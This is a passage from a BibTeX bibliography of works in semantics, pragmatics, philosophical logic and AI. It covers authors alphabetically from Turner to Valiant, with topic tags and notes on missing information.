Different Points of View}, + publisher = {Elsevier}, + year = {1999}, + address = {Oxford}, + ISBN = {0080430805}, + contentnote = {TC: + 1. K. Turenr, "From a Certain Point of View (Seven Inch Version)" + 2. Nicholas Asher, "Discourse Structure and the Logic of Conversation" + 3. Johan van der Auwera, "On the Semantic and Pragmatic + Polyfunctionality of Modal Verbs" + 4. Kent Bach, "The Semantics-Pragmatics Distinction: + What it Is and Why it Matters" + 5. Robyn Carston, "The Semantics/Pragmatics Distinction: A View + from Relevance Theory" + 6. Brendon S. Gillon, "English Indefinite Noun Phrases and Plurality" + 7. Yuego Gu, "Towards a Model of Situated Discourse Analysis" + 8. Michael Hand, "Semantics vs. Pragmatics: {ANY} in Game-Theoretical + Semantics" + 9. Katarzyna M. Jaszczolt, "Default Semantics, Pragmatics, and + Intentions" + 10. Andrew Kehler and Gregory Ward, "On the Semantics and Pragmatics + of Identifier `So'\," + 11. Manfred Krifka, "At Least Some Determiners Aren't Determiners" + 12. Susumu Kubo, "On an Illocutionary Connective Datte" + 13. Chungmin Lee, "Contrastive Topic: A Locus of Interface Evidence + from {K}orean and {E}nglish" + 14. F. Nemo, "The Pragmatics of Signs, the Semantics of + Relevance, and the Semantics/Pragmatics Interface" + 15. Jaroslav Peregrin, "The Pragmatization of Semantics" + 16. A. Ramsay, "Does it Make Any Sense? Updating $+$ Consistency + Checking" + } , + topic = {semantics;pragmatics;} + } + +@unpublished{ turner_m-fauconnier:1995a1, + author = {Mark Turner and Gilles Fauconnier}, + title = {Conceptual Integration and Formal Expression}, + year = {1995}, + note = {Posted at http://www.uoregon.edu/\user{}rohrer/turner.htm.}, + xref = {Journal Publication: turner_m-fauconnier:1999a2.}, + topic = {foundations-of-semantics;compositionality;} + } + +@article{ turner_m-fauconnier:1995a2, + author = {Mark Turner and Gilles Fauconnier}, + title = {Conceptual Integration and Formal Expression}, + journal = {Journal of Metaphor and Symbolic Activity}, + year = {1995}, + volume = {10}, + number = {3}, + missinginfo = {pages. Date is a guess.}, + xref = {Web publication: turner_m-fauconnier:1995a2.}, + topic = {foundations-of-semantics;compositionality;} + } + +@article{ turner_r1:1981a, + author = {Raymond Turner}, + title = {Counterfactuals without Possible Worlds}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {4}, + pages = {453--493}, + topic = {conditionals;philosophy-of-possible-worlds;} + } + +@article{ turner_r1:1983a, + author = {Raymond Turner}, + title = {Montague Semantics, Nominalization and {S}cott's + Domains}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {2}, + pages = {259--288}, + topic = {nominalization;nl-semantics;Scott-domains;} + } + +@incollection{ turner_r1:1986a, + author = {Raymond Turner}, + title = {Formal Semantics and Type-Free Theories}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {145--159}, + address = {Dordrecht}, + topic = {higher-order-logic;nl-semantic-types;pragmatics;} + } + +@book{ turner_r2:1974a, + editor = {Roy Turner}, + title = {Ethnomethodology: Selected Readings}, + publisher = {Penguin}, + year = {1974}, + address = {Harmondsworth}, + topic = {ethnomethodology;} + } + +@inproceedings{ turner_rm:1989a, + author = {Roy M. Turner}, + year = {1989}, + title = {When Reactive Planning Is Not Enough: {U}sing Contextual + Schemas to React Appropriately to Environmental Change}, + pages = {940--947}, + booktitle = {Proceedings of the Eleventh Annual Conference of the + {C}ognitive {S}cience {S}ociety}, + address = {Detroit, MI}, + missinginfo = {publisher, editor, address}, + topic = {cognitive-robotics;context;contextual-reasoning;} + } + +@techreport{ turner_rm:1990a, + author = {Roy M. Turner}, + year = {1990}, + title = {A Mechanism for Context-Sensitive Reasoning}, + number = {90--68}, + institution = {Department of Computer Science, University of New + Hampshire}, + address = {Durham, NH 03824}, + topic = {context;contextual-reasoning;} + } + +@inproceedings{ turner_rm:1993a, + author = {Roy M. Turner}, + title = {Context-Sensitive Reasoning for Autonomous Agents and + Cooperative Distributed Problem Solving}, + booktitle = {Proceedings of the {IJCAI} Workshop on Using Knowledge + in its Context}, + year = {1993}, + address = {Chamb\'ery, France}, + month = {August}, + missinginfo = {editor,publisher,pages}, + topic = {context;contextual-reasoning;distributed-systems; + artificial-societies;} +} + +@book{ turner_rm:1994a, + author = {Roy M. Turner}, + title = {Adaptive Reasoning for Real-World Problems: {A} Schema-Based + Approach}, + publisher = {Lawrence Erlbaum Associates}, + year = {1994}, + address = {Hillsdale, New Jersey}, + topic = {cognitive-robotics;context;contextual-reasoning;} +} + +@inproceedings{ turner_rm:1995a, + author = {Roy M. Turner}, + title = {Context-Sensitive, Adaptive Reasoning for Intelligent {AUV} + Control: {O}rca Project Update}, + booktitle = {Proceedings of the Ninth International Symposium on Unmanned + Untethered Submersible Technology}, + year = {1995}, + address = {Durham, NH}, + month = {September}, + missinginfo = {publisher, organization, pages}, + topic = {context;contextual-reasoning;} +} + +@inproceedings{ turner_rm:1995b, + author = {Roy M. Turner}, + title = {Intelligent Control of Autonomous Underwater Vehicles: + {T}he {O}rca Project}, + booktitle = {Proceedings of the 1995 {IEEE} International Conference on + Systems, Man, and Cybernetics}, + year = {1995}, + publisher = {Vancouver, Canada}, + missinginfo = {editor,pages}, + topic = {context;contextual-reasoning;} +} + +@inproceedings{ turner_rm:1997a, + author = {Roy M. Turner}, + title = {Determining the Context-Dependent Meaning of Fuzzy Subsets}, + booktitle = {Proceedings of the 1997 International and Interdisciplinary + Conference on Modeling and Using Context (CONTEXT-97)}, + year = {1997}, + address = {Rio de Janeiro}, + missinginfo = {publisher, pages, editor}, + topic = {context;contextual-reasoning;fuzzy-logic;} +} + +@article{ turner_rm:1997b, + author = {Roy M. Turner}, + title = {Context-Mediated Behavior for Intelligent Agents}, + journal = {International Journal of Human-Computer Studies}, + year = {1997}, + missinginfo = {year, pages, volume, number}, + topic = {context;contextual-reasoning;} +} + +@article{ turner_rm:1998a, + author = {Roy M. Turner}, + title = {Context-Mediated Behavior for Intelligent Agents}, + journal = {International Journal of Human-Computer Studies}, + year = {1998}, + volume = {48}, + number = {3}, + pages = {307--330}, + month = {March}, + topic = {context;} + } + +@inproceedings{ turner_rm:1998b, + author = {Roy M. Turner}, + title = {Context-Mediated Behavior}, + booktitle = {Proceedings of the 11th International Conference on + Industrial and Engineering Applications of Artificial + Intelligence}, + pages = {538--547}, + year = {1998}, + address = {Benicassim, Spain}, + topic = {context;} + } + +@incollection{ turner_rm:1999a, + author = {Roy M. Turner}, + title = {A Model of Explicit Context Representation + and Use for Intelligent Agents}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {375--388}, + address = {Berlin}, + topic = {context;contextual-reasoning;expert-systems; + nonmonotonic-reasoning;} + } + +@incollection{ turner_rm-etal:2001a, + author = {Roy M. Turner and Elise H. Turner and Thomas A. Wagner and + Thomas J. Wheeler and Nancy E. Ogle}, + title = {Using Explicit, A Priori Contextual Knowledge in + an Intelligent Web Search Agent}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {343--352}, + address = {Berlin}, + topic = {context;information-retrieval;} + } + +@article{ turner_sr:1995a, + author = {Scott R. Turner}, + title = {Review of {\it The Creative Mind}, by {M}argaret {B}oden}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {145--159}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@article{ turney:1990a, + author = {Peter Turney}, + title = {Embeddability, Syntax, and Semantics in Accounts of + Semantic Theories}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {4}, + pages = {429--451}, + topic = {philosophy-of-science;} + } + +@article{ turvey-carello:1985a, + author = {M.T. Turvey and Caludia Carello}, + title = {The Equation of Information and Meaning from + the Perspectives of Situation Semantics and + {G}ibson's Ecological Realism}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {81--90}, + topic = {situation-semantics;foundations-of-semantics; + theories-of-information;} + } + +@article{ tuttle:1993a, + author = {Mark S. Tuttle}, + title = {Review of {\it Representations of Commonsense Knowledge}, + by {E}. {D}avis and of {\it Building Large Knowledge-Based + Systems: Representations and Inference in the {CYC} Project}, + by {D}.{B}. {L}enat and {R}.{V}. {G}uha}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {121--148}, + xref = {Review of lenat-guha:1989a and davis_e:1991a.}, + topic = {common-sense-reasoning;kr;kr-course;} + } + +@article{ tversky:1972a, + author = {Amos Tversky}, + title = {Elimination by Aspects: A Theory of Choice}, + journal = {Psychological Review}, + year = {1972}, + volume = {79}, + pages = {281--299}, + missinginfo = {number}, + topic = {decision-making;cognitive-psychology;} + } + +@incollection{ tversky:1977a, + author = {Amos Tversky}, + title = {On the Elicitation of Preferences: Descriptive and + Prescriptive Considerations}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {207--222}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@article{ twine:1984a, + author = {Nanette Twine}, + title = {The Adoption of Punctuation in {J}apanese Script}, + journal = {Visible Language}, + year = {1984}, + volume = {18}, + number = {3}, + pages = {229--237}, + topic = {punctuation;Japanese-language;} + } + +@article{ tye:1990a, + author = {Michael Tye}, + title = {Vague Objects}, + journal = {Mind}, + year = {1990}, + volume = {119}, + pages = {535--557}, + missinginfo = {number}, + topic = {vagueness;identity;} + } + +@article{ tye:1994a, + author = {Michael Tye}, + title = {Vagueness, Welcome to the Quicksand}, + journal = {Southern Journal of Philosophy, Supplementary Volume}, + year = {1994}, + volume = {33}, + pages = {1--22}, + topic = {vagueness;identity;fuzzy-logic;} + } + +@article{ tye:1994b, + author = {Michael Tye}, + title = {Why the Vague Need Not be Higher-Order Vague}, + journal = {Mind}, + year = {1994}, + volume = {103}, + number = {409}, + pages = {43--45}, + topic = {vagueness;} + } + +@incollection{ tye:1994c1, + author = {Michael Tye}, + title = {Sorites Paradoxes and the Semantics of Vagueness}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {189--206}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + xref = {Republication: tye:1994c2.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ tye:1994c2, + author = {Michael Tye}, + title = {Sorites Paradox and the Semantics of Vagueness}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {281--293}, + address = {Cambridge, Massachusetts}, + xref = {Republication of tye:1994c1.}, + topic = {vagueness;sorites-paradox;} + } + +@book{ tye:1995a, + author = {Michael Tye}, + title = {Ten Problems of Consciousness}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@incollection{ tye:1998a, + author = {Michael Tye}, + title = {Inverted Earth, Swampman, and + Representationalism}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {459--477}, + address = {Oxford}, + topic = {philosophy-of-mind;mental-representations;} + } + +@book{ tyler:1978a, + author = {S.A. Tyler}, + title = {The Said and the Unsaid}, + publisher = {Academic Press}, + year = {1978}, + address = {New York}, + missinginfo = {A's 1st name. Check topic.}, + topic = {d-topic;pragmatics;} + } + +@techreport{ tyson-hobbs:1990a, + author = {Mabry Tyson and Jerry R. Hobbs}, + title = {Domain-Independent Task Specification in the {TACITUS} + Natural Language System}, + institution = {SRI International}, + number = {488}, + year = {1990}, + address = {Menlo Park, California}, + topic = {nl-understanding;} + } + +@article{ tzouvaras:1996a, + author = {Athanassios Tzouvaras}, + title = {Aspects of Analytic Deduction}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {6}, + pages = {581--596}, + topic = {relevance-logic;cut-free-deduction;} + } + +@article{ tzouvaras:1998a, + author = {Athanassios Tzouvaras}, + title = {Logic of Knowledge and the Liar}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {1}, + pages = {85--108}, + topic = {epistemic-logic;semantic-paradoxes;pragmatics;} + } + +@incollection{ uchida:1998a, + author = {Seiji Uchida}, + title = {Text and Relevance}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {160--178}, + address = {Amsterdam}, + topic = {relevance-theory;pragmatics;} + } + +@article{ uchii:1971a, + author = {S. Uchii}, + title = {\,`Ought' and Conditionals}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1971}, + volume = {17}, + number = {65--66}, + missinginfo = {A's 1st name, pages}, + topic = {deontic-logic;} + } + +@article{ uffink:1996a, + author = {Jos Uffink}, + title = {The Constraint Rule of the Maximum Entropy Principle}, + journal = {Studies in History and Philosophy of Modern Physics}, + year = {1995}, + volume = {27}, + number = {1}, + pages = {47--79}, + topic = {probability-kinematics;} + } + +@article{ uhr:1975a, + author = {Leonard Uhr}, + title = {Review of {\it Computer Models of Thought and Language}, + edited by {R}oger {C}. {S}chank and {K}enneth {M}ark {C}olby}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {3}, + pages = {289--292}, + xref = {Review of: schank-colby:1973a.}, + topic = {nlp-survey;AI-survey;} + } + +@article{ ullian:1984a, + author = {Joseph Ullian}, + title = {Relatively About: Loose Composites and Loose Ends}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {1}, + pages = {83--100}, + topic = {relevance;d-topic;} + } + +@article{ ullman:1983a, + author = {Edna Ullman-Margalit}, + title = {On Presumption}, + journal = {The Journal of Philosophy}, + volume = {70}, + year = {1973}, + pages = {143--163}, + topic = {nonmonotonic-reasoning;} + } + +@article{ ullrich-byrd:1977a, + author = {David Ullrich and Michael Byrd}, + title = {The Existensions of {BAlt$_3$}}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {109--117}, + topic = {modal-logic;} + } + +@unpublished{ ulrich:1972a, + author = {W. Ulrich}, + title = {What is {R}ussell's Theory of Denoting?}, + year = {1972}, + note = {Unpublished MS, University of California at Irvine}, + missinginfo = {A's 1st name. Year is a guess.}, + topic = {Russell;definite-descriptions;} + } + +@article{ ulrich_d:1983a, + author = {Dolf Ulrich}, + title = {The Finite Model Property and Recursive Bounds on the Size + of Countermodels}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {477--480}, + topic = {finite-model-property;} + } + +@book{ underhill:1976a, + author = {Robert Underhill}, + title = {Turkish Grammar}, + publisher = {The {MIT} Press}, + year = {1976}, + address = {Cambridge, Massachusetts}, + topic = {nonlinguistic-grammars;Turkish-language;} + } + +@incollection{ unger:1979a, + author = {Peter Unger}, + title = {I Do Not Exist}, + booktitle = {Perception and Identity}, + publisher = {Macmillan}, + year = {1979}, + address = {London}, + editor = {G.F. Macdonald}, + missinginfo = {pages, E's 1st name}, + topic = {skepticism;} + } + +@article{ unger:1980a, + author = {Peter Unger}, + title = {There Are No Ordinary Things}, + journal = {Synth\'ese}, + year = {1980}, + volume = {41}, + pages = {117--154}, + missinginfo = {number}, + topic = {skepticism;vagueness;} + } + +@incollection{ unger:1984a, + author = {Peter Unger}, + title = {Minimizing Arbitrariness: Toward a Metaphysics of + Infinitely Many Isolated Concrete Worlds}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {29--51}, + address = {Minneapolis}, + topic = {philosophy-of-possible-worlds;conditionals;} + } + +@incollection{ unger:1986a, + author = {Peter Unger}, + title = {Consciousness}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {63--100}, + address = {Minneapolis}, + topic = {personal-identity;consciousness;} + } + +@book{ unger:1990a, + author = {Peter Unger}, + title = {Identity, Consciousness and Value}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {metaphysics;epistemology;philosophy-of-mind;skepticism;} + } + +@incollection{ unger:2000a, + author = {Peter Unger}, + title = {The Survival of the Sentient}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {325--348}, + address = {Oxford}, + topic = {personal-identity;} + } + +@book{ uriagereka:1998a, + author = {Juan Uriagereka}, + title = {Rhyme and Reason: An Introduction to Minimalist + Syntax}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {syntactic-minimalism;nl-syntax;} + } + +@inproceedings{ uribeetxebarria:1995a, + author = {Myriam Uribe-Etxebarria}, + title = {Negative Polarity Item Licensing, Indefinites and + Complex Predicates}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {346--361}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;polarity;} + } + +@incollection{ urmson:1960a, + author = {J.O. Urmson}, + title = {Parenthetical Verbs}, + booktitle = {Essays in Conceptual Analysis}, + publisher = {Macmillam}, + year = {1960}, + editor = {Antony Flew}, + pages = {192--212}, + address = {London}, + topic = {parentheticals;} + } + +@article{ urmson:1965a, + author = {J.O. Urmson}, + title = {J.{L}. {A}ustin}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {19}, + pages = {499--508}, + topic = {JL-Austin;} + } + +@incollection{ urmson-etal:1969a, + author = {J.O. Urmson and Willard V.O. Quine and Stuart Hampshire}, + title = {A Symposium on {A}ustin's Method}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {76--97}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ urmson:1978a, + author = {J.O. Urmson}, + title = {Performative Utterances}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {260--267}, + address = {Minneapolis}, + topic = {speech-acts;JL-Austin;} + } + +@article{ urquhart:1973a, + author = {Alasdair Urquhart}, + title = {A Semantical Theory of Analytic Implication}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {212--219}, + topic = {relevance-logic;} + } + +@article{ urquhart:1981a, + author = {Alisdair Urquhart}, + title = {Decidability and the Finite Model Property}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {367--370}, + contentnote = {Gives example of recursively axiomatized logic with + finite matrix property that is undecidable. (Every finitely + axiomatized logic with the FMP is decidable.)}, + topic = {finite-matrix;undecidability;} + } + +@article{ urquhart:1984a, + author = {Alisdair Urquhart}, + title = {The Undecidability of Entailment and Relevant Implication}, + journal = {Journal of Symbolic Logic}, + year = {1984}, + volume = {49}, + number = {5}, + pages = {1059--1073}, + missinginfo = {number}, + topic = {relevance-logic;} + } + +@incollection{ urquhart:1986a, + author = {Alisdair Urquhart}, + title = {Many-Valued Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {71--116}, + address = {Dordrecht}, + topic = {multi-valued-logic;} + } + +@article{ urquhart:1993a, + author = {Alisdair Urquhart}, + title = {Failure of Interpolation in Relevant Logics}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {5}, + pages = {449--480}, + topic = {relevance-logic;proof-theory;} + } + +@article{ urquhart:1995a, + author = {Alisdair Urquhart}, + title = {The Complexity of Propositional Proofs}, + journal = {The Bulletin of Symbolic Logic}, + year = {1995}, + volume = {1}, + number = {4}, + pages = {425--467}, + topic = {complexity;proof-theory;} + } + +@inproceedings{ urquhart:2000a, + author = {Alisdair Urquhart}, + title = {The Complexity of Linear Logic with Weakening}, + booktitle = {Logic Colloquium'98: Proceedings of the Annual + European Summer Meeting of the Association for Symbolic + Logic}, + year = {2000}, + editor = {Samuel R. Buss and Petr H\'ajek and Pavel Publ\'ak}, + pages = {500--515}, + publisher = {Association for Symbolic Logic}, + address = {Poughkeepsie}, + xref = {Review: jervell:2002a.}, + topic = {linear-logic;proof-theory;complexity-theory;} + } + +@article{ usberti:1977a, + author = {Gabriele Usberti}, + title = {On the Treatment of Perceptual Verbs in {M}ontague + Grammar: Some Philosophical Remarks}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {303--317}, + topic = {logic-of-perception;Montague-grammar;} + } + +@techreport{ uszkoreit-peters:1983a, + author = {Hans Uszkoreit and Stanley Peters}, + title = {On Some Formal Properties of Metarules}, + institution = {SRI International}, + number = {Technical Note 305}, + year = {1983}, + address = {Menlo Park, California}, + topic = {GPSG;} + } + +@article{ uszkoreit-peters:1986a, + author = {Hans Uszkoreit and Stanley Peters}, + title = {On Some Formal Properties of Metarules}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {4}, + pages = {477--494}, + topic = {GPSG;} + } + +@inproceedings{ utsuro-etal:1993a, + author = {Takehito Utsuro and Yuji Matsumoto and Makoto Nagao}, + title = {Verbal Case Frame Acquisition From Bilingual Corpora}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Ruzena Bajcsy}, + pages = {1150--1156}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {automatic-grammar-acquisition;} + } + +@article{ uzquiano:2002a, + author = {Gabriel Uzquiano}, + title = {Categoricity Theorems and Conceptions of Set}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {2}, + pages = {181--196}, + topic = {set-theory;foundations-of-set-theory;} + } + +@incollection{ vaanaen:1995a, + author = {Jouko Vaanaen}, + title = {Games and Trees in Infinitary Logic: A Survey}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {105--138}, + address = {Dordrecht}, + topic = {infinitary-logic;} + } + +@article{ vaananen:1997a, + author = {Jouko V\"a\"an\"anen}, + title = {Unary Quantifiers on Finite Models}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {275--304}, + topic = {quantifiers;finite-models;} + } + +@article{ vaananen:2001a, + author = {Jouko V\"a\"an\"anen}, + title = {Second-Order Logic and Foundations of Mathematics}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {4}, + pages = {504--520}, + topic = {higher-order-logic;foundations-of-set-theory;} + } + +@article{ vaananen-westerstahl:2002a, + author = {Jouko V\"a\"an\"anen and Dag Westerst\"ahl}, + title = {On the Expressive Power of Monotone Natural Language + Quantifiers over Finite Models}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {4}, + pages = {327--358}, + topic = {generalized-quantifiers;} + } + +@book{ vaina-hintikka:1984a, + editor = {Lucia Vaina and Jaakko Hintikka}, + title = {Cognitive Constraints On Communication: Representations and + Processes}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + address = {Dordrecht}, + ISBN = {9027714568}, + topic = {pragmatics;communication;} + } + +@incollection{ vakarelov:1996a, + author = {Dimiter Vakarelov}, + title = {Many-Dimensional Arrow Structures: Arrow Logics {II}}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {141--187}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@incollection{ vakarelov:1998a, + author = {Dimiter Vakarelov}, + title = {Hyper Arrow Structures. Arrow Logics {III}}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {269--290}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ vakarelov:2000a, + author = {Dimiter Vakarelov}, + title = {Review of {\it Multi-Dimensional Modal Logic}, by + {M}aarten {M}arx and {Y}de {V}enema}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {4}, + pages = {490--495}, + xref = {Review of marx-venema:1997a.}, + topic = {modal-logic;} + } + +@article{ valberg:1970a, + author = {J.J. Valberg}, + title = {Some Remarks on Action and Desire}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {15}, + pages = {503--520}, + topic = {desire;action;} + } + +@article{ valdesperez:1994a, + author = {Ra\'ul Vald\'es-P\'erez}, + title = {Conjecturing Hidden Entities by Means of Simplicity and + Conservation Laws: Machine Discovery in Chemistry}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {247--280}, + topic = {computer-assisted-science;} + } + +@article{ valdesperez:1995a, + author = {Ra\'ul Vald\'es-P\'erez}, + title = {Machine Discovery in Chemistry: New Results}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {191--201}, + topic = {computer-assisted-science;} + } + +@article{ valdesperez:1996a, + author = {Ra\'ul Vald\'es-P\'erez}, + title = {A New Theorem in Particle Physics Enabled by + Machine Discovery}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {331--339}, + topic = {computer-assisted-science;computer-assisted-physics; + scientific-discovery;} + } + +@article{ valdesperez:1999a, + author = {Ra\'ul E. Vald\'es-P\'erez}, + title = {Principles of Human-Computer Collaboration for + Knowledge Discovery in Science}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {335--346}, + topic = {HCI;scientific-discovery;} + } + +@incollection{ valdivia:2000a, + author = {Lourdes Valdivia}, + title = {Vagueness as a Psychological Notion}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {282--288}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@techreport{ valencia:1991a, + author = {V\'ictor S\'anchez Valencia}, + title = {Categorial Grammar and Natural Reasoning}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--91--08}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {categorial-grammar;} + } + +@incollection{ valencia:1998a, + author = {V\'ictor S\'anchez Valencia}, + title = {Polarity, Predicates, and Monotonicity}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {97--117}, + address = {Stanford, California}, + topic = {polarity;polarity-sensitivity;} + } + +@book{ valente:1995a, + author = {A. Valente}, + year = {1995}, + title = {Legal Knowledge Engineering: A Modelling Approach}, + publisher = {IOS Press}, + address = {Amsterdam}, + topic = {legal-AI;} + } + +@article{ valentini:1983a, + author = {Silvio Valentini}, + title = {The Modal Logic of Provability: Cut Elimination}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {471--476}, + topic = {modal-logic;cut-free-deduction;} + } + +@article{ valiant:2000a, + author = {Leslie G. Valiant}, + title = {Robust Logics}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {2}, + pages = {231--253}, + acontentnote = {Abstract: + Suppose that we wish to learn from examples and counter-examples + a criterion for recognizing whether an assembly of wooden blocks + constitutes an arch. Suppose also that we have preprogrammed + recognizers for various relationships, e.g., on-top-of(x,y), + above(x,y), etc. And believe that some possibly complex + expression in terms of these base relationships should suffice + to approximate the desired notion of an arch. How can we + formulate such a relational learning problem so as to exploit + the benefits that are demonstrably available in propositional + learning, such as attribute-efficient learning by linear + separators, and error-resilient learning? + We believe that learning in a general setting that allows for + multiple objects and relations in this way is a fundamental key + to resolving the following dilemma that arises in the design of + intelligent systems: Mathematical logic is an attractive + language of description because it has clear semantics and sound + proof procedures. However, as a basis for large programmed + systems it leads to brittleness because, in practice, consistent + usage of the various predicate names throughout a system cannot + be guaranteed, except in application areas such as mathematics + where the viability of the axiomatic method has been + demonstrated independently. + In this paper we develop the following approach to + circumventing this dilemma. We suggest that brittleness can be + overcome by using a new kind of logic in which each statement is + learnable. By allowing the system to learn rules empirically + from the environment, relative to any particular programs it may + have for recognizing some base predicates, we enable the system + to acquire a set of statements approximately consistent with + each other and with the world, without the need for a globally + knowledgeable and consistent programmer. + We illustrate this approach by 